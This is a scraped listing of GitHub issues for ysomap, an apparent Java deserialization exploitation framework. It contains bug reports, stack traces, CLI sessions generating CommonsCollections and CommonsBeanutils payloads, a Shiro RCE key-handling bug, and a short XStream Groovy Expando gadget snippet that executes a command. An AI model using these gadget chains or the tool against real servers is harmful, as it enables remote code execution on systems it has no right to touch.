Git Product home page Git Product logo

ysomap's People

Contributors

beichendream avatar celebrate-future avatar lalajun avatar wh1t3p1g avatar whocansee avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ysomap's Issues

新功能建议

进行批量目标的漏洞验证或者利用, 当然, 爆破也是可以的.

Example:

java -jar ysomap.jar <exploit> [<payload>] [<bullets>] var1=vul1 var2=vul2 var3=vull3

请问一下如何HashMap通过反射修改put方法,put进去的key

我个人根据你的blog复现https://blog.0kami.cn/2020/04/18/java/talk-about-xstream-deserialization/ Groovy Expando这个方式的时候自己写的代码是这样的MethodClosure methodClosure=new MethodClosure("Calc.exe","execute");
Expando expando=new Expando();
expando.setProperty("hashCode",methodClosure);

    HashMap map=new HashMap();
    map.put("test",expando);
    Field key=Class.forName("java.util.HashMap$Node").getDeclaredField("key");
    key.setAccessible(true);
    key.set(map,expando);
    XStream xStream=new XStream();
    String xml=xStream.toXML(map);
    System.out.println(xml);
    xStream.fromXML(xml);
    我发现这个key是无法修改的因为是final类型,但是我发现如果put的时候直接放入expando对象的化会提前触发命令执行,这里我无法解决这个问题看了看你这个项目里的代码我不明白你的makemap 方法为何要如此处理

Hessian XString deserialisation stack trace

When using several of the Hessian deserialisation payloads against a hessian endpoint, the tomcat server responds with the following stack trace:

java.lang.ClassCastException: com.sun.org.apache.xpath.internal.objects.XString cannot be cast to java.lang.String
	javax.naming.ldap.Rdn$RdnEntry.getValueComparable(Rdn.java:481)
	javax.naming.ldap.Rdn$RdnEntry.compareTo(Rdn.java:444)
	javax.naming.ldap.Rdn$RdnEntry.compareTo(Rdn.java:420)
	java.util.TreeMap.put(TreeMap.java:568)
	java.util.TreeSet.add(TreeSet.java:255)
	com.caucho.hessian.io.CollectionDeserializer.readList(CollectionDeserializer.java:78)
	com.caucho.hessian.io.SerializerFactory.readList(SerializerFactory.java:341)
	com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:1945)
	com.caucho.hessian.server.HessianSkeleton.invoke(HessianSkeleton.java:131)
	com.caucho.hessian.server.HessianSkeleton.invoke(HessianSkeleton.java:109)
	com.caucho.hessian.server.HessianServlet.service(HessianServlet.java:396)
	org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)

CommonsCollections3 生成POC时 出现 Bullet Type Not Match 错误

ysomap > use payload CommonsCollections3

You can choose bullets: [TransformerBullet, TransformerWithJNDIBullet, TransformerWithSleepBullet, TransformerWithURLClassLoaderBullet, TransformerWithFileWriteBullet]

ysomap payload(CommonsCollections3) > use bullet TransformerBullet
ysomap payload(CommonsCollections3) bullet(TransformerBullet) > set command whoami
ysomap payload(CommonsCollections3) bullet(TransformerBullet) > run

[+] generate CommonsCollections3 success, plz seepayload.CommonsCollections3.TransformerBullet.ser
[+] generate payload(CommonsCollections3) started!

Bullet Type Not Match; Error TYPE: class [Lorg.apache.commons.collections.Transformer;

使用TransformerWithSleepBullet 和 TransformerBullet 都是提示错误 “Bullet Type Not Match”

image

infinite loop when run explot

image
not set require options cause first run attempt failed.
exploit status is ysomap.common.util.Status.RUNNING and not been resetted cause next attempt be trapped in infinite loop

ShiroRCE1 exploit AES过程错误

ysomap-master/core/src/main/java/ysomap/exploits/shiro/ShiroRCE1.java中150行附近
byte[] keyBytes = Strings.base64(key.getBytes());

应该是将key字符串byte后进行base64解码,而单调用的ysomap-master/common/src/main/java/ysomap/common/util/Strings.java中59行附近是base64编码。
public static byte[] base64(byte[] data){
Base64 base64 = new Base64();
return base64.encode(data);
}
导致该ShiroRCE1 exploit失效。

show options exception

image
because EvilFileWrapper.getSerializer return null and session.printSessionDetails at line 197 not check

报错

使用原本的ysoserial.exploit.JRMPListener启动,run后报错,使用CommonsCollections1、CommonsCollections3、CommonsCollections7都报错:
image

生成序列化文件失败

ysomap payload(CommonsBeanutils1) bullet(ProcessBuilderBullet) > run
[+] generate payload(CommonsBeanutils1) started!
[+] generate payload(CommonsBeanutils1) done!
[+] generate CommonsBeanutils1 success, plz see obj.ser
java.io.NotSerializableException: java.lang.ProcessBuilder
        at java.io.ObjectOutputStream.writeObject0(Unknown Source)
        at java.io.ObjectOutputStream.writeObject(Unknown Source)
        at java.util.PriorityQueue.writeObject(Unknown Source)
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
        at java.lang.reflect.Method.invoke(Unknown Source)
        at java.io.ObjectStreamClass.invokeWriteObject(Unknown Source)
        at java.io.ObjectOutputStream.writeSerialData(Unknown Source)
        at java.io.ObjectOutputStream.writeOrdinaryObject(Unknown Source)
        at java.io.ObjectOutputStream.writeObject0(Unknown Source)
        at java.io.ObjectOutputStream.writeObject(Unknown Source)
        at ysomap.core.serializer.DefaultSerializer.serialize(DefaultSerializer.java:25)
        at ysomap.core.serializer.SerializerFactory.serialize(SerializerFactory.java:52)
        at ysomap.cli.Session.run(Session.java:213)
        at ysomap.cli.Console.dispatch(Console.java:127)
        at ysomap.cli.Console.run(Console.java:77)
        at ysomap.cli.App.main(App.java:17)
ysomap payload(CommonsBeanutils1) bullet(ProcessBuilderBullet) > show options

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.